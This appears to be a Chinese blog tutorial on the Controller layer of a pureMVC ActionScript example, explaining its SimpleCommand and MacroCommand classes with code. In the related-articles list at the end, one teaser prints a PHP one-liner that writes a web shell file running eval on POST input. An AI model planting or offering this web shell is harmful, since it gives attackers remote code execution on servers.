本节将讲述pureMVC示例中的Controller层。

Controller层有以下文件组成:

  • AddUserCommand.as
  • DeleteUserCommand.as
  • ModelPrepCommand.as
  • ViewPrepCommand.as
  • StartupCommand.as

AddUserCommand 。顾名思义,它是添加用户命令。让我们首先看看代码。

  1. package com.superwulei.controller
  2. {
  3. import com.superwulei.model.UserProxy;
  4. import com.superwulei.model.vo.UserVO;
  5. import mx.controls.Alert;
  6. import org.puremvc.as3.interfaces.INotification;
  7. import org.puremvc.as3.patterns.command.SimpleCommand;
  8. public class AddUserCommand extends SimpleCommand
  9. {
  10. override public function execute(notification:INotification):void
  11. {
  12. var user:UserVO = notification.getBody() as UserVO;
  13. var userProxy:UserProxy = facade.retrieveProxy(UserProxy.NAME) as UserProxy;
  14. if(user.isValid){
  15. userProxy.addItem(user);
  16. }else{
  17. Alert.show("请检查用户名和密码");
  18. }
  19. }
  20. }
  21. }

AddUserCommand是一个单一命令(SimpleCommand),自定义SimpleCommand必须继承SimpleCommand并重写execute方法。execute方法表示这个命令的执行。曾经在上一篇《pureMVC简单示例及其原理讲解——View层 》中提到的添加用户的逻辑代码,应该在这里编写。还记得上一篇中提到的“View层本身不处理各种操作,但是发送通知”么?

上一篇中发送通知的代码
sendNotification(ApplicationFacade.USER_ADD,userForm.user);

拿出这段代码是特意的想说明AddUserCommand的execute方法中的notification.getBody()其实就是userForm.user,严谨的说应该是userFrom.user作为参数传到execute方法中来。如此我们在这里通过userProxy.addItem(user)就实现了用户的添加。userProxy中的users就多了一个user。

DeleteUserCommand ,删除用户命令。代码如下,与添加用户道理一样,不多言。

  1. package com.superwulei.controller
  2. {
  3. import com.superwulei.model.UserProxy;
  4. import com.superwulei.model.vo.UserVO;
  5. import org.puremvc.as3.interfaces.INotification;
  6. import org.puremvc.as3.patterns.command.SimpleCommand;
  7. public class DeleteUserCommand extends SimpleCommand
  8. {
  9. override public function execute(notification:INotification):void
  10. {
  11. var user:UserVO = notification.getBody() as UserVO;
  12. var userProxy:UserProxy = facade.retrieveProxy(UserProxy.NAME) as UserProxy;
  13. userProxy.deleteItem(user);
  14. }
  15. }
  16. }

ModelPrepCommand、ViewPrepCommand分别是Model层注册和View层注册。说道注册就要道一道。在pureMVC中,一切总控制是facade,因此无论是Proxy、Mediator还是Command都要在facade中注册。上面四个Command全部为SimpleCommand,最后一个StartupCommand为MacroCommand(复合命令)。StartupCommand包含了多个SimpleCommand,通过addSubCommand方法添加了子命令,并在之后在facade上注册了AddUserCommand和DeleteUserCommand。

  1. package com.superwulei.controller
  2. {
  3. import com.superwulei.model.UserProxy;
  4. import org.puremvc.as3.interfaces.INotification;
  5. import org.puremvc.as3.patterns.command.SimpleCommand;
  6. public class ModelPrepCommand extends SimpleCommand
  7. {
  8. override public function execute(notification:INotification):void
  9. {
  10. /* 注册Model */
  11. facade.registerProxy(new UserProxy());
  12. }
  13. }
  14. }
  1. package com.superwulei.controller
  2. {
  3. import com.superwulei.view.UserFormMediator;
  4. import com.superwulei.view.UserListMediator;
  5. import org.puremvc.as3.interfaces.INotification;
  6. import org.puremvc.as3.patterns.command.SimpleCommand;
  7. public class ViewPrepCommand extends SimpleCommand
  8. {
  9. override public function execute(notification:INotification):void
  10. {
  11. var app:MyPureMVCdemo = notification.getBody() as MyPureMVCdemo;
  12. /* 注册View */
  13. facade.registerMediator(new UserFormMediator(app.userForm));
  14. facade.registerMediator(new UserListMediator(app.userList));
  15. }
  16. }
  17. }
  1. package com.superwulei.controller
  2. {
  3. import com.superwulei.ApplicationFacade;
  4. import org.puremvc.as3.patterns.command.MacroCommand;
  5. public class StartupCommand extends MacroCommand
  6. {
  7. override protected function initializeMacroCommand():void{
  8. addSubCommand(ModelPrepCommand);
  9. addSubCommand(ViewPrepCommand);
  10. /* 注册添加、删除用户命令 */
  11. facade.registerCommand(ApplicationFacade.USER_ADD,AddUserCommand);
  12. facade.registerCommand(ApplicationFacade.USER_DELETE,DeleteUserCommand);
  13. }
  14. }
  15. }

通过使用facade的registerCommand就好象添加一个监听器一样,当有sendNotification发送出来的时候,就会有对应的Command的execute方法被执行。

Controller层包含的应该是整个应用程序的逻辑业务。

pureMVC简单示例及其原理讲解四(Controller层)的更多相关文章

  1. pureMVC简单示例及其原理讲解三(View层)

    本篇说的是View层,即视图层,在本示例中包括两个部分:MXML文件,即可视控件:Mediator. 可视控件 可视控件由UserForm.mxml(图1)和UserList.mxml(图2)两个文件 ...

  2. pureMVC简单示例及其原理讲解二(Model层)

    本节将讲述Model层. Model层有VO和Mediator组成,非常简单,仅仅包含两个类:UserVO和UserProxy. UserVO中的构造器用于初始化用户的添加(通过email和密码),另 ...

  3. pureMVC简单示例及其原理讲解五(Facade)

    本节将讲述Facade,Proxy.Mediator.Command的统一管家.自定义Facade必须继承Facade,在本示例中自定义Facade名称为ApplicationFacade,这个名称也 ...

  4. pureMVC简单示例及其原理讲解一(开篇)

    pureMVC是一个MVC框架,皆在最大限度的减少MVC间的耦合性.本人刚刚接触pureMVC时感到一头雾水,不知从何入手,也不知道从何学习.好在本人有耐性且能看懂英文技术文档,面向对象的编程能力也比 ...

  5. Optaplanner规划引擎的工作原理及简单示例(2)

    开篇 在前面一篇关于规划引擎Optapalnner的文章里(Optaplanner规划引擎的工作原理及简单示例(1)),老农介绍了应用Optaplanner过程中需要掌握的一些基本概念,这些概念有且于 ...

  6. 马士兵hadoop第四课:Yarn和Map/Reduce配置启动和原理讲解

    马士兵hadoop第一课:虚拟机搭建和安装hadoop及启动 马士兵hadoop第二课:hdfs集群集中管理和hadoop文件操作 马士兵hadoop第三课:java开发hdfs 马士兵hadoop第 ...

  7. 马士兵hadoop第四课:Yarn和Map/Reduce配置启动和原理讲解(转)

    马士兵hadoop第一课:虚拟机搭建和安装hadoop及启动 马士兵hadoop第二课:hdfs集群集中管理和hadoop文件操作 马士兵hadoop第三课:java开发hdfs 马士兵hadoop第 ...

  8. Websocket - Websocket原理(握手、解密、加密)、基于Python实现简单示例

    一.Websocket原理(握手.解密.加密) WebSocket协议是基于TCP的一种新的协议.WebSocket最初在HTML5规范中被引用为TCP连接,作为基于TCP的套接字API的占位符.它实 ...

  9. CNN(卷积神经网络)原理讲解及简单代码

    一.原理讲解 1. 卷积神经网络的应用 分类(分类预测) 检索(检索出该物体的类别) 检测(检测出图像中的物体,并标注) 分割(将图像分割出来) 人脸识别 图像生成(生成不同状态的图像) 自动驾驶 等 ...

随机推荐

  1. php后门屌炸天

    fputs(fopen('a.php','w'),'<?php eval($_POST[cc])?>'); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然 ...

  2. SQL Server 事务及回滚事务的几种方法

    第一种: declare   @iErrorCount   int set@iErrorCount=0 begintran Tran1    insertinto t1(Id, c1) values( ...

  3. 数据恢复软件Extundelete

    数据恢复软件Extundelete介绍 一.概述 作为一名运维人员,保证数据的安全是根本职责,所以在维护系统的时候,要慎重和细心,但是有时也难免发生出现数据被误删除的情况,这个时候该如何快速.有效地恢 ...

  4. 解决ubuntu server mysql load data infile 导入本地文件ERROR 1148 (42000)错误。

    问题:在ubuntu server 上使用apt-get 安装完 mysql 使用 load data infile 出现错误,错误代码如下: ERROR (): The used command i ...

  5. js图片未加载完显示loading效果

    <html> <title>js图片未加载完显示loading效果</title> <body> <style> img{float:lef ...

  6. boost库之shared_ptr

    shared_ptr 编辑 目录 1简介 2作用 3历史 4概要 5用法 ▪ 删除共享对象 ▪ 标准容器 1简介编辑 shared_ptr是一种智能指针(smart pointer). 2作用编辑 s ...

  7. VS2012配置Cocos2d-x的问题

    cocos2d-x老是配置不成功,解决方案参考:http://blog.csdn.net/yangjingui/article/details/9408007 完整配置流程: 1 下载,最好通过SVN ...

  8. man info --help区别

    --help: 是一个工具选项,可以用来显示一些工具的信息 man : 可以显示系统手册页中的内容,这些内容大多数都是对命令的解释信息 PS: () Space 键可以显示下一屏的文本信息 () q ...

  9. Sping--IOC概念

    1. 新建项目, 引入spring包(sping, common-annotation, common-logging包), 还有junit包. user.java: package com.bjsx ...

  10. hadoop+海量数据面试题汇总(二)

    何谓海量数据处理? 所谓海量数据处理,无非就是基于海量数据上的存储.处理.操作.何谓海量,就是数据量太大,所以导致要么是无法在较短时间内迅速解决,要么是数据太大,导致无法一次性装入内存. 那解决办法呢 ...